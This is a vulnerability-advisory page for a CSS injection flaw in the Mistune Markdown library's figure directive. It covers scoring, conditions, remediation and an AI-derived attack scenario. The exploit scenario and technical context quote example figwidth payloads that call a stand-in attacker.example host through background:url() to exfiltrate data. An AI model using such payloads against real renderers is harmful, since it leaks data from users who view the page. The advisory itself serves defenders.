Skip to main content

Mistune CVE-2026-115351

| EUVDEUVD-2026-108420 MEDIUM
Code Injection (CWE-94)
2026-10-22 disclosure@vulncheck.com GHSA-2jmw-jfgq-rw98
5.3
CVSS 4.0 · Vendor: vulncheck
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit markdown figure directive with crafted figwidth
  2. Exploit
    Unvalidated value injected into figure style attribute
  3. Execution
    Victim browser renders and parses CSS
  4. Impact
    Browser fetches attacker url() leaking data

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK

2 techniques across 2 tactics: Execution, Initial Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Requires that the consuming application uses mistune with the RST directives plugin and the Figure directive explicitly registered (e.g., RSTDirective([Figure()]) or a superset) - this is NOT mistune's default configuration - and that the attacker can supply markdown rendered to other users. The specific trigger is the ':figwidth:' option of the '.. figure::' directive, which (unlike the Image directive's width/height) is not validated against the _num_re length regex and is concatenated raw into the '<figure style="width:...">' attribute. Exploitation is limited by: (1) the Figure directive being enabled, (2) the rendered HTML being served to victims without an additional CSS/attribute sanitizer or strict Content-Security-Policy restricting url() fetches, and (3) victim interaction - a user must load/render the page (UI:P). Impact is confined to CSS-level effects (url() exfiltration, layout tampering, attribute-prefix probing); it cannot directly execute JavaScript in the page origin.

Impact

This is a genuine but moderate-priority issue, not a high-severity emergency. The CVSS 4.0 base score of 5.3 (AV:N/AC:L/AT:N/PR:N/UI:P) reflects a network-reachable, low-complexity flaw with low confidentiality impact only (VC:L; VI:N/VA:N) and no scope change to subsequent systems (SC:N/SI:N/SA:N), consistent with CSS injection rather than code execution. The input Tags label this 'RCE, Code Injection' and the NVD CWE is CWE-94, but every authoritative source - the GHSA advisory (which adds CWE-1287) and the VulnCheck advisory - describes a CSS injection / data-exfiltration primitive, NOT remote code execution; this conflict should be resolved in favor of CSS injection. No EPSS score and no KEV listing are provided, and the CISA KEV status is therefore not confirmed; absence of these is not evidence either way. A PoC-verified demonstration is embedded in the GHSA advisory. The vuln.today Decision label is 'this_month', aligning with a plan-and-patch cadence rather than act_now/emergency. Net: a real, low-to-moderate web-application risk worth patching on a normal monthly cycle, materially lower than the 'RCE' tag implies.

Exploit ScenarioDerived

An application renders attacker-supplied RST-flavoured markdown through mistune with the Figure directive enabled (e.g., a docs/knowledge-base platform). The attacker submits a '.. figure::' block whose ':figwidth:' value is '100;background:url(//attacker.example/exfil?d=...)', which is concatenated unvalidated into the rendered '<figure style="width:...">' attribute. When a victim loads the page their browser fetches the background URL, sending a request (and any CSS-conditionally-leaked attribute data) to the attacker's server; a working PoC demonstrating this exact output is included in the vendor GHSA advisory.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Oct 22, 2026

Mistune 3.2.1 through 3.2.x (fixed in 3.3.0) mishandles the ':figwidth:' option of the '.. figure::' RST directive, concatenating it unvalidated into the rendered '<figure style="width:...">' attribute, so an attacker who controls markdown input can append arbitrary CSS declarations. Only deployments that explicitly enable the RST directives plugin with the Figure directive registered are exposed - this is not the library's default configuration - and a victim must render the crafted page (UI:P). The result is CSS injection limited to style-level effects such as forcing the browser to fetch attacker-controlled url() resources for data exfiltration, layout/visibility tampering and attribute-prefix probing; it cannot execute JavaScript in the page origin. The vendor has released 3.3.0, no CISA KEV entry exists, and the advisory includes a reporter-verified PoC snippet demonstrating the injection against 3.2.1.

RemediationAI

Upgrade to Mistune 3.3.0, the vendor-released fixed version (pip install --upgrade 'mistune>=3.3.0'), per advisory https://github.com/lepture/mistune/security/advisories/GHSA-xmwc-wjpr-q378; this is a normal monthly-cycle patch, not an emergency. The upstream fix applies the existing _num_re length validator to 'figwidth' so malformed values are dropped and the style attribute is omitted, matching the validation already used for the Image directive's width and height. If upgrading must be deferred, compensating controls are: stop registering the Figure directive (run RSTDirective without Figure, or disable the directives plugin entirely) - this removes the injection sink but also removes figure captions and figure rendering from trusted documents; or post-process rendered HTML with an allowlist sanitizer (bleach/nh3) that strips or rewrites style attributes on <figure> elements - this loses intended figure widths and requires careful configuration so legitimate styling is not broken; or enforce a Content-Security-Policy that restricts img-src and related URL-bearing directives to known origins, which blocks the background url() exfiltration fetches but must be weighed against breaking legitimate third-party assets. Note that the 'figclass' option is escaped and confined to the class attribute, so it is not a CSS injection vector.

Affected VersionsENISA

mistune 3.2.1 <3.3.0

Affected Packages

euvd mistune fix: 3.3.0

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Mistune is a pure-Python Markdown parser used by documentation renderers, MkDocs integrations and knowledge-base platforms. The flaw lives in src/mistune/directives/image.py: Figure.parse copies the 'figwidth' option verbatim into the figure attributes, and render_figure emits ' style="width:' + escape_text(figwidth) + '"'. escape_text only HTML-entity-escapes & < > ' and ", so the CSS-significant characters ';', '(', ')', ':' and '/' pass through and terminate the width declaration to start new ones - for example ':figwidth: 100;background:url(//attacker.example/x)' yields a figure whose style attribute triggers a background-image fetch to the attacker's host when the page loads. The same module already defines _num_re (^\d+(\.\d*)?(px|ch|em|rem|ex|rex|vw|vh|%)?$) and applies it to the Image directive's width and height; the asymmetry - the validator was recognised as necessary for style-bound values but never applied to figwidth - is the root cause. The advisory maps this to CWE-94 (improper control of code/attribute generation) with a secondary CWE-1287 (improper validation of a specified input type); some third-party tagging labels the issue 'RCE / Code Injection', but the advisory's demonstrated impact is strictly CSS-level, with no JavaScript execution in the page origin. Related CSS sinks reachable through the same primitive include cursor:url(), list-style-image:url(), mask:url() and border-image:url(), all of which cause network fetches. The supplied CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N, score 5.3) is consistent with the assessed CVSS 3.1 vector AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N: remote, no privileges required, victim must view the rendered content, low confidentiality impact only. A reporter-verified PoC snippet reproducing the injection is included in the advisory; no weaponised public exploit code is otherwise confirmed and there is no KEV evidence of active exploitation.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (vulncheck) PRIMARY 5.3 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
vuln.today AI 4.3 MEDIUM

Attacker-supplied markdown input (PR:N) over the network (AV:N) with simple, reliable injection (AC:L); victim must render the page (UI:R); only low-confidentiality data exfiltration, no integrity/availability impact.

3.1 AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N
Red Hat 4.7 MEDIUM

Primary rating from Vendor (vulncheck).

CVSS VectorVendor: vulncheck

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Oct 22, 2026 - 20:18 EUVD

DescriptionCVE.org

Mistune from 3.2.1 before 3.3.0 contains a CSS injection vulnerability that allows attackers controlling markdown input to inject arbitrary style declarations via the unvalidated figwidth option of the figure directive. Attackers can append declarations like background:url() to the rendered figure style attribute, forcing victim browsers to send requests to attacker servers and leak attribute values.

Threat Intelligence Overview

EPSS Score
0.2%
Top 88% exploitable
Prevalence
Medium
popular Python markdown library, but RST Figure directive rarely enabled by default
Data Quality
4 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
None
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Medium

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

Vendor StatusVendor

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy